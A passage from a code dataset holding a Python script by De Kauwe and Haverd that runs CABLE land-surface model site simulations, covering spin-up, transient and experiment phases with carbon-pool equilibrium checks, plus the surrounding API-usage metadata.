"line_number": 215, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.pause", "line_number": 217, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 217, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 223, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 223, "usage_type": "name"}]} {"seq_id": "273630956", "text": "#!/usr/bin/env python\n\n\"\"\"\nCABLE site run with full biogeochemistry (CNP) and POP\n=======================================================\n\n- Spin-up: using pre-industrial CO2, NDEP, PDEP. Currently this is using\n values from AmazonFACE experiment, i.e. CO2=284.7;\n NDEP-0.79 kg N ha-1 yr-1; PDEP=0.144 kg P ha-1 yr-1\n- Transient: 1851-1998, varying CO2, NDEP and PDEP with recycled met data\n- Simulation: actual experiment CO2, NDEP/PDEP & met\n\nOptions to turn use C/CN/CNP with POP on/off\n\nThat's all folks.\n\n\"\"\"\n\n__author__ = \"Martin De Kauwe, Vanessa Haverd\"\n__version__ = \"1.0 (21.07.2018)\"\n__email__ = \"mdekauwe@gmail.com, Vanessa.Haverd@csiro.au\"\n\nimport os\nimport sys\nimport glob\nimport shutil\nimport tempfile\nimport pandas as pd\nimport xarray as xr\nimport numpy as np\nimport subprocess\n\nclass RunCable(object):\n\n def __init__(self, experiment_id, startyear, endyear, lai_feedback,\n site_dir, obs_dir, plot_dir, namelist_dir, param_dir, output_dir, restart_dir,\n dump_dir, met_fname, co2_ndep_fname, nml_fn,\n site_nml_fn,veg_param_fn,log_dir, exe, aux_dir,\n biogeochem, call_pop, verbose):\n\n self.experiment_id = experiment_id\n self.startyear = startyear\n self.endyear = endyear\n self.lai_feedback = lai_feedback\n self.site_dir = site_dir\n self.obs_dir = obs_dir\n self.plot_dir = plot_dir\n self.namelist_dir = namelist_dir\n self.param_dir = param_dir\n self.output_dir = output_dir\n self.restart_dir = restart_dir\n self.dump_dir = dump_dir\n self.met_fname = met_fname\n self.co2_ndep_fname = co2_ndep_fname\n self.nml_fn = nml_fn\n self.site_nml_fn = site_nml_fn\n self.veg_param_fn = veg_param_fn\n self.cable_restart_fname = \"%s_cable_rst.nc\" % (self.experiment_id)\n self.casa_restart_fname = \"%s_casa_rst.nc\" % (self.experiment_id)\n self.pop_restart_fname = \"%s_pop_rst.nc\" % (self.experiment_id)\n self.climate_restart_fname = \"%s_climate_rst.nc\" % (self.experiment_id)\n self.log_dir = log_dir\n self.cable_exe = exe\n self.aux_dir = aux_dir\n self.verbose = verbose\n self.nyear_spinup = 30\n self.limit_labile =\".FALSE.\"\n if biogeochem == \"C\":\n self.biogeochem = 1\n #self.vcmax = \"standard\"\n self.vcmax = \"Walker2014\"\n self.vcmax_feedback = \".TRUE.\"\n elif biogeochem == \"CN\":\n self.biogeochem = 2\n self.vcmax = \"Walker2014\"\n self.vcmax_feedback = \".TRUE.\"\n elif biogeochem == \"CNP\":\n self.biogeochem = 3\n self.vcmax = \"Walker2014\"\n self.vcmax_feedback = \".TRUE.\"\n else:\n raise ValueError(\"Unknown biogeochemistry option: C, CN, CNP\")\n self.call_pop = call_pop\n if self.call_pop:\n self.pop_flag = \".TRUE.\"\n else:\n self.pop_flag = \".FALSE.\"\n self.debug = True\n\n def main(self, SPIN_UP=False, TRANSIENT=False, SIMULATION=False):\n\n os.chdir(site_dir + '/' + site)\n out_file=site_dir + '/' + site + \"/\" + output_dir + '/' + experiment_id + '_out_cable.nc'\n \n \n if not os.path.exists(restart_dir):\n os.makedirs(restart_dir)\n\n if not os.path.exists(output_dir):\n os.makedirs(output_dir)\n\n if not os.path.exists(log_dir):\n os.makedirs(log_dir)\n\n if not os.path.exists(dump_dir):\n os.makedirs(dump_dir)\n \n \n num = 1\n not_in_equilibrium = True\n\n (st_yr, en_yr,\n st_yr_trans, en_yr_trans,\n st_yr_spin, en_yr_spin) = self.get_years()\n\n self.initial_setup(st_yr_spin, en_yr_spin, st_yr, en_yr)\n\n if SPIN_UP == True:\n\n # initial spin\n print(\"Spinup\")\n self.limit_labile =\".TRUE.\"\n self.run_me()\n self.clean_up(end=False, tag=\"zero\")\n #sys.exit()\n\n while num < 4:\n self.logfile=\"log_ccp%d\" % (num)\n self.setup_re_spin(number=num)\n self.run_me()\n self.clean_up(end=False, tag=\"ccp%d\" % (num))\n self.logfile=\"log_sa%d\" % (num)\n self.setup_analytical_spin(number=num, st_yr_spin=st_yr_spin,\n en_yr_spin=en_yr_spin )\n self.run_me()\n self.clean_up(end=False, tag=\"saa%d\" % (num))\n not_in_equilibrium = self.check_steady_state(num)\n num += 1\n \n not_in_equilibrium=True\n self.limit_labile =\".FALSE.\"\n while not_in_equilibrium:\n\n self.logfile=\"log_ccp%d\" % (num)\n self.setup_re_spin(number=num)\n self.run_me()\n self.clean_up(end=False, tag=\"ccp%d\" % (num))\n #sys.exit()\n self.logfile=\"log_sa%d\" % (num)\n self.setup_analytical_spin(number=num, st_yr_spin=st_yr_spin,\n en_yr_spin=en_yr_spin )\n self.run_me()\n self.clean_up(end=False, tag=\"saa%d\" % (num))\n #sys.exit()\n not_in_equilibrium = self.check_steady_state(num)\n\n num += 1\n\n # one final spin\n self.logfile=\"log_ccp%d\" % (num)\n self.setup_re_spin(number=num)\n self.run_me()\n self.clean_up(end=False, tag=\"ccp%d\" % (num))\n\n if TRANSIENT == True:\n print(\"Transient\")\n\n self.setup_transient(st_yr_trans, en_yr_trans, st_yr, en_yr)\n self.run_me()\n self.clean_up(end=False, tag=\"transient\")\n\n if SIMULATION == True:\n print(\"Simulation\")\n\n self.setup_simulation(st_yr, en_yr)\n self.run_me()\n\n print(\"Plotting\")\n #subprocess.call([\"./CABLE_plots.R\", site, str(st_yr), str(en_yr), out_file, self.obs_dir])\n subprocess.call([os.path.join(self.plot_dir,\"CABLE_plots.R\"), self.experiment_id, str(st_yr), str(en_yr), out_file, self.obs_dir, self.plot_dir])\n\n self.clean_up(end=True)\n\n def get_years(self):\n \"\"\"\n Figure out the start and end of the met file, the number of times we\n need to recycle the met data to cover the transient period and the\n start and end of the transient period.\n \"\"\"\n pre_indust = 1850\n\n ds = xr.open_dataset(self.met_fname)\n\n # st_yr = pd.to_datetime(ds.time[0].values).year\n ## Note: start- and endyear now determined in the wrapper script\n st_yr = self.startyear\n en_yr = self.endyear\n \n # PALS met files final year tag only has a single 30 min, so need to\n # end at the previous year, which is the real file end\n # en_yr = pd.to_datetime(ds.time[-1].values).year\n\n # length of met record\n nrec = en_yr - st_yr + 1\n\n # number of times met data is recycled during transient simulation\n nloop_transient = np.ceil((st_yr - 1 - pre_indust) / nrec) - 1\n\n # number of times met data is recycled with a spinup run of nyear_spinup\n nloop_spin = np.ceil( self.nyear_spinup / nrec)\n\n st_yr_transient = st_yr - 1 - nloop_transient * nrec + 1\n en_yr_transient = st_yr_transient + nloop_transient * nrec - 1\n\n en_yr_spin = st_yr_transient - 1\n st_yr_spin = en_yr_spin - nloop_spin * nrec + 1\n\n return (st_yr, en_yr, st_yr_transient, en_yr_transient,\n st_yr_spin, en_yr_spin)\n\n def adjust_nml_file(self, fname, replacements):\n \"\"\"\n Adjust the params/flags in the CABLE namelise file. Note this writes\n over whatever file it is given!\n\n Parameters:\n ----------\n fname : string\n parameter filename to be changed.\n replacements : dictionary\n dictionary of replacement values.\n\n \"\"\"\n f = open(fname, 'r')\n param_str = f.read()\n f.close()\n new_str = self.replace_keys(param_str, replacements)\n fd, path = tempfile.mkstemp()\n os.write(fd, str.encode(new_str))\n os.close(fd)\n shutil.copy(path, fname)\n os.remove(path)\n\n def replace_keys(self, text, replacements_dict):\n \"\"\" Function expects to find CABLE namelist file formatted key = value.\n\n Parameters:\n ----------\n text : string\n input file data.\n replacements_dict : dictionary\n dictionary of replacement values.\n\n Returns:\n --------\n new_text : string\n input file with replacement values\n\n \"\"\"\n lines = text.splitlines()\n for i, row in enumerate(lines):\n # skip blank lines\n if not row.strip():\n continue\n if \"=\" not in row:\n lines[i] = row\n continue\n elif not row.startswith(\"&\"):\n key = row.split(\"=\")[0]\n val = row.split(\"=\")[1]\n lines[i] = \" \".join((key.rstrip(), \"=\",\n replacements_dict.get(key.strip(),\n val.lstrip())))\n\n return '\\n'.join(lines) + '\\n'\n\n def initial_setup(self, st_yr_spin, en_yr_spin, st_yr, en_yr):\n \"\"\"\n Setup CABLE namelist file for spinup from zero\n \"\"\"\n shutil.copyfile(os.path.join(self.namelist_dir, \"site.nml\"),\n self.site_nml_fn)\n shutil.copyfile(os.path.join(self.namelist_dir, \"cable.nml\"),\n self.nml_fn)\n #self.add_missing_options_to_nml_file(self.nml_fn)\n\n out_fname = os.path.join(self.output_dir,\n \"%s_out_cable_zero.nc\" % (self.experiment_id))\n if os.path.isfile(out_fname):\n os.remove(out_fname)\n\n out_fname_CASA = os.path.join(self.output_dir,\n \"%s_out_CASA_zero.nc\" % (self.experiment_id))\n if os.path.isfile(out_fname_CASA):\n os.remove(out_fname_CASA)\n\n out_fname_POP = os.path.join(self.output_dir,\n \"%s_out_POP_zero.nc\" % (self.experiment_id))\n if os.path.isfile(out_fname_POP):\n os.remove(out_fname_POP)\n\n out_log_fname = os.path.join(self.log_dir,\n \"%s_log_zero.txt\" % (self.experiment_id))\n if os.path.isfile(out_log_fname):\n os.remove(out_log_fname)\n\n replace_dict = {\n \"RunType\": '\"spinup\"',\n \"CO2NDepFile\": \"'%s'\" % (self.co2_ndep_fname),\n \"spinstartyear\": \"%d\" % (st_yr),\n \"spinendyear\": \"%d\" % (en_yr),\n \"spinCO2\": \"284.7\",\n \"spinNdep\": \"0.79\",\n \"spinPdep\": \"0.144\",\n }\n self.adjust_nml_file(self.site_nml_fn, replace_dict)\n\n replace_dict = {\n \"filename%met\": \"'%s'\" % (self.met_fname),\n \"filename%out\": \"'%s'\" % (out_fname),\n \"casafile%out\": \"'%s'\" % (out_fname_CASA),\n \"cable_user%POP_outfile\" : \"'%s'\" % (out_fname_POP),\n \"filename%log\": \"'%s'\" % (out_log_fname),\n \"filename%restart_out\": \"'%s'\" % os.path.join(self.restart_dir, self.cable_restart_fname),\n \"cable_user%climate_restart_out\": \"'%s'\" % os.path.join(self.restart_dir, self.climate_restart_fname),\n \"cable_user%POP_restart_out\": \"'%s'\" % os.path.join(self.restart_dir, self.pop_restart_fname),\n \"casafile%cnpepool\": \"'%s'\" % os.path.join(self.restart_dir, self.casa_restart_fname),\n \"filename%restart_in\": \"''\" ,\n \"cable_user%climate_restart_in\": \"''\" ,\n \"cable_user%POP_restart_in\": \"''\",\n \"filename%type\": \"'%s'\" % (os.path.join(self.aux_dir, \"offline/gridinfo_CSIRO_1x1.nc\")),\n \"filename%veg\": \"'%s'\" % os.path.join(self.param_dir, veg_param_fn),\n \"filename%soil\": \"'%s'\" % os.path.join(self.param_dir, soil_param_fn),\n \"output%restart\": \".TRUE.\",\n \"casafile%phen\": \"'%s'\" % (os.path.join(self.aux_dir, \"core/biogeochem/modis_phenology_csiro.txt\")),\n \"casafile%cnpbiome\": \"'%s'\" % (os.path.join(self.param_dir, bgc_param_fn)),\n \"cable_user%RunIden\": \"'%s'\" % (self.experiment_id),\n \"cable_user%POP_out\": \"'rst'\",\n \"cable_user%POP_rst\": \"'./'\",\n \"cable_user%POP_fromZero\": \".T.\",\n \"cable_user%CASA_fromZero\": \".T.\",\n \"cable_user%CLIMATE_fromZero\": \".T.\",\n \"cable_user%vcmax\": \"'%s'\" % (self.vcmax),\n \"cable_user%YearStart\": \"%d\" % (st_yr_spin),\n \"cable_user%YearEnd\": \"%d\" % (en_yr_spin),\n \"cable_user%CASA_SPIN_STARTYEAR\": \"%d\" % (st_yr_spin),\n \"cable_user%CASA_SPIN_ENDYEAR\": \"%d\" % (en_yr_spin),\n \"cable_user%CALL_POP\": \"%s\" % (self.pop_flag),\n \"output%averaging\": \"'monthly'\",\n \"output%patch\": \".TRUE.\",\n \"icycle\": \"%d\" % (self.biogeochem),\n \"leaps\": \".TRUE.\",\n \"l_vcmaxFeedbk\": \"%s\" % (self.vcmax_feedback),\n \"l_laiFeedbk\": \".%s.\" % (self.lai_feedback),\n \"cable_user%CASA_OUT_FREQ\": \"'annually'\" ,\n \"cable_user%limit_labile\": \"%s\" % (self.limit_labile) ,\n \"cable_user%SRF\": \".T.\" , \n \"cable_user%STRF\": \"'DAMM'\" ,\n \"cable_user%SMRF\": \"'DAMM'\"\n }\n self.adjust_nml_file(self.nml_fn, replace_dict)\n\n def setup_re_spin(self, number=None):\n \"\"\"\n Adjust the CABLE namelist file with the various flags for another spin\n \"\"\"\n out_log_fname = \"%s_log_ccp%d.txt\" % (self.experiment_id, number)\n out_log_fname = os.path.join(self.log_dir, out_log_fname)\n if os.path.isfile(out_log_fname):\n os.remove(out_log_fname)\n\n out_fname = \"%s_out_cable_ccp%d.nc\" % (self.experiment_id, number)\n out_fname = os.path.join(self.output_dir, out_fname)\n if os.path.isfile(out_fname):\n os.remove(out_fname)\n\n out_fname_CASA = \"%s_out_CASA_ccp%d.nc\" % (self.experiment_id, number)\n out_fname_CASA = os.path.join(self.output_dir, out_fname_CASA)\n if os.path.isfile(out_fname_CASA):\n os.remove(out_fname_CASA)\n\n out_fname_POP = \"%s_out_POP_ccp%d.nc\" % (self.experiment_id, number)\n out_fname_POP = os.path.join(self.output_dir, out_fname_POP)\n if os.path.isfile(out_fname_POP):\n os.remove(out_fname_POP)\n\n replace_dict = {\n \"filename%log\": \"'%s'\" % (out_log_fname),\n \"filename%restart_in\": \"'%s'\" % os.path.join(self.restart_dir, self.cable_restart_fname),\n \"cable_user%climate_restart_in\": \"'%s'\" % os.path.join(self.restart_dir, self.climate_restart_fname),\n \"cable_user%POP_restart_in\": \"'%s'\" % os.path.join(self.restart_dir, self.pop_restart_fname),\n \"casafile%cnpipool\": \"'%s'\" % os.path.join(self.restart_dir,self.casa_restart_fname),\n \"cable_user%POP_fromZero\": \".F.\",\n \"cable_user%CASA_fromZero\": \".F.\",\n \"cable_user%POP_rst\": \"'./'\",\n \"cable_user%CLIMATE_fromZero\": \".F.\",\n \"cable_user%CASA_DUMP_READ\": \".FALSE.\",\n \"cable_user%CASA_DUMP_WRITE\": \".TRUE.\",\n \"cable_user%CASA_NREP\": \"0\",\n \"cable_user%SOIL_STRUC\": \"'sli'\",\n \"icycle\": \"%d\" % (self.biogeochem),\n \"leaps\": \".TRUE.\",\n \"spincasa\": \".FALSE.\",\n \"casafile%c2cdumppath\": \"' '\",\n \"output%restart\": \".TRUE.\",\n \"filename%out\": \"'%s'\" % (out_fname),\n \"casafile%out\": \"'%s'\" % (out_fname_CASA),\n \"cable_user%POP_outfile\" : \"'%s'\" % (out_fname_POP),\n \"cable_user%limit_labile\": \"%s\" % (self.limit_labile) ,\n }\n self.adjust_nml_file(self.nml_fn, replace_dict)\n\n def setup_analytical_spin(self, number, st_yr_spin, en_yr_spin):\n \"\"\"\n Adjust the CABLE namelist file with the various flags for the\n analytical spin step\n \"\"\"\n out_log_fname = \"%s_log_analytic_%d.txt\" % (self.experiment_id, number)\n out_log_fname = os.path.join(self.log_dir, out_log_fname)\n if os.path.isfile(out_log_fname):\n os.remove(out_log_fname)\n\n out_fname_CASA = \"%s_out_CASA_analytic_%d.nc\" % \\\n (self.experiment_id, number)\n out_fname_CASA = os.path.join(self.output_dir, out_fname_CASA)\n if os.path.isfile(out_fname_CASA):\n os.remove(out_fname_CASA)\n\n out_fname_POP = \"%s_out_POP_analytic_%d.nc\" % (self.experiment_id, number)\n out_fname_POP = os.path.join(self.output_dir, out_fname_POP)\n if os.path.isfile(out_fname_POP):\n os.remove(out_fname_POP)\n\n replace_dict = {\n \"filename%log\": \"'%s'\" % (out_log_fname),\n \"icycle\": \"%d\" % (self.biogeochem + 10), # Need to add 10 for spinup\n \"cable_user%CASA_DUMP_READ\": \".TRUE.\",\n \"cable_user%CASA_DUMP_WRITE\": \".FALSE.\",\n \"cable_user%CASA_NREP\": \"1\",\n \"cable_user%SOIL_STRUC\": \"'default'\",\n \"leaps\": \".FALSE.\",\n \"spincasa\": \".TRUE.\",\n \"casafile%c2cdumppath\": \"'./'\",\n \"cable_user%CASA_SPIN_STARTYEAR\": \"%d\" % (st_yr_spin),\n \"cable_user%CASA_SPIN_ENDYEAR\": \"%d\" % (en_yr_spin),\n \"casafile%out\": \"'%s'\" % (out_fname_CASA),\n \"cable_user%POP_outfile\" : \"'%s'\" % (out_fname_POP),\n \"cable_user%limit_labile\": \"%s\" % (self.limit_labile) ,\n }\n self.adjust_nml_file(self.nml_fn, replace_dict)\n\n def setup_transient(self, st_yr_trans, en_yr_trans, st_yr, en_yr):\n \"\"\"\n Adjust the CABLE namelist file for the transient run, i.e. 1850 to XXXX\n \"\"\"\n replace_dict = {\n \"RunType\": '\"transient\"',\n \"CO2NDepFile\": \"'%s'\" % (self.co2_ndep_fname),\n \"spinstartyear\": \"%d\" % (st_yr),\n \"spinendyear\": \"%d\" % (en_yr),\n }\n self.adjust_nml_file(self.site_nml_fn, replace_dict)\n\n out_log_fname = \"%s_log_transient.txt\" % (self.experiment_id)\n out_log_fname = os.path.join(self.log_dir, out_log_fname)\n if os.path.isfile(out_log_fname):\n os.remove(out_log_fname)\n\n out_fname = \"%s_out_cable_transient.nc\" % (self.experiment_id)\n out_fname = os.path.join(self.output_dir, out_fname)\n if os.path.isfile(out_fname):\n os.remove(out_fname)\n\n out_fname_CASA = \"%s_out_casa_transient.nc\" % (self.experiment_id)\n out_fname_CASA = os.path.join(self.output_dir, out_fname_CASA)\n if os.path.isfile(out_fname_CASA):\n os.remove(out_fname_CASA)\n\n replace_dict = {\n \"filename%out\": \"'%s'\" % (out_fname),\n \"filename%log\": \"'%s'\" % (out_log_fname),\n \"cable_user%CASA_DUMP_READ\": \".FALSE.\",\n \"cable_user%CASA_DUMP_WRITE\": \".FALSE.\",\n \"cable_user%CASA_NREP\": \"0\",\n \"cable_user%SOIL_STRUC\": \"'sli'\",\n \"output%restart\": \".TRUE.\",\n \"output%averaging\": \"'monthly'\",\n \"spinup\": \".FALSE.\",\n \"icycle\": \"%d\" % (self.biogeochem),\n \"POPLUC\": \".T.\",\n \"filename%out\": \"'%s'\" % (out_fname),\n \"casafile%out\": \"'%s'\" % (out_fname_CASA),\n \"cable_user%YearStart\": \"%d\" % (st_yr_trans),\n \"cable_user%YearEnd\": \"%d\" % (en_yr_trans),\n \"filename%restart_in\": \"'%s'\" % os.path.join(self.restart_dir, self.cable_restart_fname),\n \"cable_user%climate_restart_in\": \"'%s'\" % os.path.join(self.restart_dir, self.climate_restart_fname),\n \"cable_user%POP_restart_in\": \"'%s'\" % os.path.join(self.restart_dir, self.pop_restart_fname),\n \"casafile%cnpipool\": \"'%s'\" % os.path.join(self.restart_dir,self.casa_restart_fname),\n \"cable_user%POP_fromZero\": \".F.\",\n \"cable_user%CASA_fromZero\": \".F.\",\n \"cable_user%CLIMATE_fromZero\": \".F.\",\n }\n self.adjust_nml_file(self.nml_fn, replace_dict)\n\n def setup_simulation(self, st_yr, en_yr):\n \"\"\"\n Adjust the CABLE namelist file for the experiment years\n \"\"\"\n replace_dict = {\n \"RunType\": '\"historical\"',\n \"CO2NDepFile\": \"'%s'\" % (self.co2_ndep_fname),\n \"spinstartyear\": \"%d\" % (st_yr),\n \"spinendyear\": \"%d\" % (en_yr)\n }\n self.adjust_nml_file(self.site_nml_fn, replace_dict)\n\n out_log_fname = \"%s_log_simulation.txt\" % (self.experiment_id)\n out_log_fname = os.path.join(self.log_dir, out_log_fname)\n if os.path.isfile(out_log_fname):\n os.remove(out_log_fname)\n\n out_fname = \"%s_out_cable.nc\" % (self.experiment_id)\n out_fname = os.path.join(self.output_dir, out_fname)\n\n out_fname_CASA = \"%s_out_casa.nc\" % (self.experiment_id)\n out_fname_CASA = os.path.join(self.output_dir, out_fname_CASA)\n\n if os.path.isfile(out_fname):\n os.remove(out_fname)\n\n replace_dict = {\n \"filename%log\": \"'%s'\" % (out_log_fname),\n \"output%averaging\": \"'daily'\",\n \"icycle\": \"%d\" % (self.biogeochem),\n \"cable_user%YearStart\": \"%d\" % (st_yr),\n \"cable_user%YearEnd\": \"%d\" % (en_yr),\n \"filename%out\": \"'%s'\" % (out_fname),\n \"POPLUC\": \".F.\",\n \"cable_user%CASA_DUMP_READ\": \".FALSE.\",\n \"cable_user%CASA_DUMP_WRITE\": \".FALSE.\",\n \"cable_user%SOIL_STRUC\": \"'sli'\",\n \"spincasa\": \".FALSE.\",\n \"spinup\": \".FALSE.\",\n \"output%averaging\": \"'all'\",\n \"casafile%out\": \"'%s'\" % (out_fname_CASA),\n \"filename%restart_in\": \"'%s'\" % os.path.join(self.restart_dir, self.cable_restart_fname),\n \"cable_user%climate_restart_in\": \"'%s'\" % os.path.join(self.restart_dir, self.climate_restart_fname),\n \"cable_user%POP_restart_in\": \"'%s'\" % os.path.join(self.restart_dir, self.pop_restart_fname),\n \"casafile%cnpipool\": \"'%s'\" % os.path.join(self.restart_dir,self.casa_restart_fname),\n \"cable_user%POP_fromZero\": \".F.\",\n \"cable_user%CASA_fromZero\": \".F.\",\n \"cable_user%CLIMATE_fromZero\": \".F.\",\n }\n self.adjust_nml_file(self.nml_fn, replace_dict)\n\n def run_me(self):\n if self.verbose: # output is printed to console\n os.system(\"%s\" % (self.cable_exe))\n else:\n # No outputs to the screen, stout and stderr to dev/null\n #os.system(\"%s > /dev/null 2>&1\" % (self.cable_exe))\n # JK: stdout and stderr are printed to files (but not to console)\n os.system(\"%s > %s.out 2>%s.err\" % (self.cable_exe,self.experiment_id,self.experiment_id))\n \n def check_steady_state(self, num):\n \"\"\"\n Check whether the plant (leaves, wood and roots) and soil\n (fast, slow and active) carbon pools have reached equilibrium. To do\n this we are checking the state of the last year in the previous spin\n cycle to the state in the final year of the current spin cycle.\n \"\"\"\n tol = 0.2 # This is quite high, I use 0.005 in GDAY\n g_2_kg = 0.001\n\n if num == 1:\n prev_cplant = 99999.9\n prev_csoil = 99999.9\n else:\n fname = \"%s_out_CASA_ccp%d.nc\" % (self.experiment_id, num-1)\n fname = os.path.join(self.output_dir, fname)\n ds = xr.open_dataset(fname)\n prev_cplant = ds.cplant[:,:,0].values[-1].sum() * g_2_kg\n prev_csoil = ds.csoil[:,:,0].values[-1].sum() * g_2_kg\n\n fname = \"%s_out_CASA_ccp%d.nc\" % (self.experiment_id, num)\n fname = os.path.join(self.output_dir, fname)\n ds = xr.open_dataset(fname)\n new_cplant = ds.cplant[:,:,0].values[-1].sum() * g_2_kg\n new_csoil = ds.csoil[:,:,0].values[-1].sum() * g_2_kg\n\n if ( np.fabs(prev_cplant - new_cplant) < tol and\n np.fabs(prev_csoil - new_csoil) < tol ):\n not_in_equilibrium = False\n else:\n not_in_equilibrium = True\n\n if self.debug:\n print(\"*\", num, not_in_equilibrium,\n \"*cplant\", np.fabs(prev_cplant - new_cplant),\n \"*csoil\", np.fabs(prev_csoil - new_csoil))\n\n return not_in_equilibrium\n\n def clean_up(self, end=True, tag=None):\n \"\"\"\n Move restart files to a directory and delete various files we no longer\n need that CABLE spits out as it spins up.\n \"\"\"\n if end:\n for f in glob.glob(\"c2c_*_dump.nc\"):\n shutil.move(f, os.path.join(self.dump_dir, f))\n f = \"cnpfluxOut.csv\"\n if os.path.isfile(f):\n os.remove(f)\n f = \"new_sumbal\"\n if os.path.isfile(f):\n os.remove(f)\n #JK: no longer remove .out files \n #for f in glob.glob(\"*.out\"):\n # os.remove(f)\n for f in glob.glob(\"restart_*.nc\"):\n os.remove(f)\n else:\n old = os.path.join(self.restart_dir, self.cable_restart_fname)\n new = \"%s_%s.nc\" % (old[:-3], tag)\n shutil.copyfile(old, new)\n\n old = os.path.join(self.restart_dir, self.casa_restart_fname)\n new = \"%s_%s.nc\" % (old[:-3], tag)\n shutil.copyfile(old, new)\n\n old = os.path.join(self.restart_dir, self.climate_restart_fname)\n new = \"%s_%s.nc\" % (old[:-3], tag)\n shutil.copyfile(old, new)\n\n if self.call_pop:\n old = os.path.join(self.restart_dir, self.pop_restart_fname)\n new = \"%s_%s.nc\" % (old[:-3], tag)\n shutil.copyfile(old, new)\n\n def add_missing_options_to_nml_file(self, fname, line_start=None):\n \"\"\"\n Some of the flags we may wish to change are missing from the default\n file so we can't adjust them via this script...add them\n \"\"\"\n if line_start is None:\n line_start = sum(1 for line in open(fname)) - 1\n\n f = open(fname, \"r\")\n contents = f.readlines()\n f.close()\n\n arg = \" cable_user%GW_MODEL = .FALSE.\\n\"\n contents.insert(line_start, arg)\n line_start += 1\n\n arg = \" cable_user%or_evap = .FALSE.\\n\"\n contents.insert(line_start, arg)\n line_start += 1\n\n arg = \" filename%gw_elev = 'GSWP3_elevation_slope_stddev.nc'\\n\"\n contents.insert(line_start, arg)\n line_start += 1\n\n tmp_fname = \"tmp.nml\"\n f = open(tmp_fname, \"w\")\n contents = \"\".join(contents)\n f.write(contents)\n f.close()\n\n shutil.move(tmp_fname, fname)\n\n\nif __name__ == \"__main__\":\n\n # command line parameters\n site=sys.argv[1]\n startyear=int(sys.argv[2])\n endyear=int(sys.argv[3])\n lai_feedback=sys.argv[4]\n site_dir=sys.argv[5]\n obs_dir=sys.argv[6]\n plot_dir=sys.argv[7]\n exp_name=sys.argv[8]\n\n \n cwd = os.getcwd()\n namelist_dir = \"namelists\"\n param_dir = \"params\"\n dump_dir = \"dump\"\n met_dir = \"met\"\n co2_ndep_dir = \"met\"\n aux_dir = \"./CABLE-AUX/\"\n log_dir = \"logs\"\n output_dir = \"outputs\"\n restart_dir = \"restart_files\"\n nml_fn = \"cable.nml\"\n site_nml_fn = \"site.nml\"\n #met_fname = os.path.join(met_dir, '%s.1.4_met.nc' % (experiment_id))\n met_fname = os.path.join(met_dir, site + '_' + str(startyear) + '_' + str(endyear) + '_2tiles.nc')\n co2_ndep_fname = os.path.join(co2_ndep_dir,\n \"AmaFACE_co2npdepforcing_1850_2100_AMB.csv\")\n veg_param_fn = \"Cumberland_veg_params.txt\"\n bgc_param_fn = \"Cumberland_pftlookup.csv\"\n soil_param_fn = \"def_soil_params.txt\" # only used when soilparmnew = .FALSE. in cable.nml\n exe = \"./cable\"\n\n # special for PEST\n #veg_param_fn = \"veg_params_pest.txt\"\n #bgc_param_fn = \"pftlookup_pest.csv\"\n #param_dir = \"./\"\n\n\n\n \n call_pop = True\n verbose = False\n\n #for biogeochem in [\"C\", \"CN\", \"CNP\"]:\n for biogeochem in [\"CNP\"]:\n\n # experiment_id = \"Cumberland_POP_%s\" % (biogeochem)\n experiment_id = site + \"_%s_2tiles_%s\" % (biogeochem,exp_name)\n C = RunCable(experiment_id, startyear, endyear, lai_feedback,\n site_dir, obs_dir, plot_dir, namelist_dir,\n param_dir,output_dir, restart_dir,dump_dir, met_fname, co2_ndep_fname,\n nml_fn, site_nml_fn,veg_param_fn, log_dir, exe, aux_dir,\n biogeochem, call_pop,verbose)\n C.main(SPIN_UP=True, TRANSIENT=True, SIMULATION=True)\n", "sub_path": "run_cable_site_CNP_meta.py", "file_name": "run_cable_site_CNP_meta.py", "file_ext": "py", "file_size_in_byte": 30486, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.chdir", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 96, "usage_type": "call"}, {"api_name": "os.path", "line_number": 96, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 97, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 99, "usage_type": "call"}, {"api_name": "os.path", "line_number": 99, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 100, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 102, "usage_type": "call"}, {"api_name": "os.path", "line_number": 102, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 105, "usage_type": "call"}, {"api_name": "os.path", "line_number": 105, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 106, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 180, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 180, "usage_type": "call"}, {"api_name": "os.path", "line_number": 180, "usage_type": "attribute"}, {"api_name": "xarray.open_dataset", "line_number": 192, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 207, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 210, "usage_type": "call"}, {"api_name": "tempfile.mkstemp", "line_number": 238, "usage_type": "call"}, {"api_name": "os.write", "line_number": 239, "usage_type": "call"}, {"api_name": "os.close", "line_number": 240, "usage_type": "call"}, {"api_name": "shutil.copy", "line_number": 241, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 242, "usage_type": "call"}, {"api_name": "shutil.copyfile", "line_number": 281, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 281, "usage_type": "call"}, {"api_name": "os.path", "line_number": 281, "usage_type": "attribute"}, {"api_name": "shutil.copyfile", "line_number": 283, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 283, "usage_type": "call"}, {"api_name": "os.path", "line_number": 283, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 287, "usage_type": "call"}, {"api_name": "os.path", "line_number": 287, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 289, "usage_type": "call"}, {"api_name": "os.path", "line_number": 289, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 290, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 292, "usage_type": "call"}, {"api_name": "os.path", "line_number": 292, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 294, "usage_type": "call"}, {"api_name": "os.path", "line_number": 294, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 295, 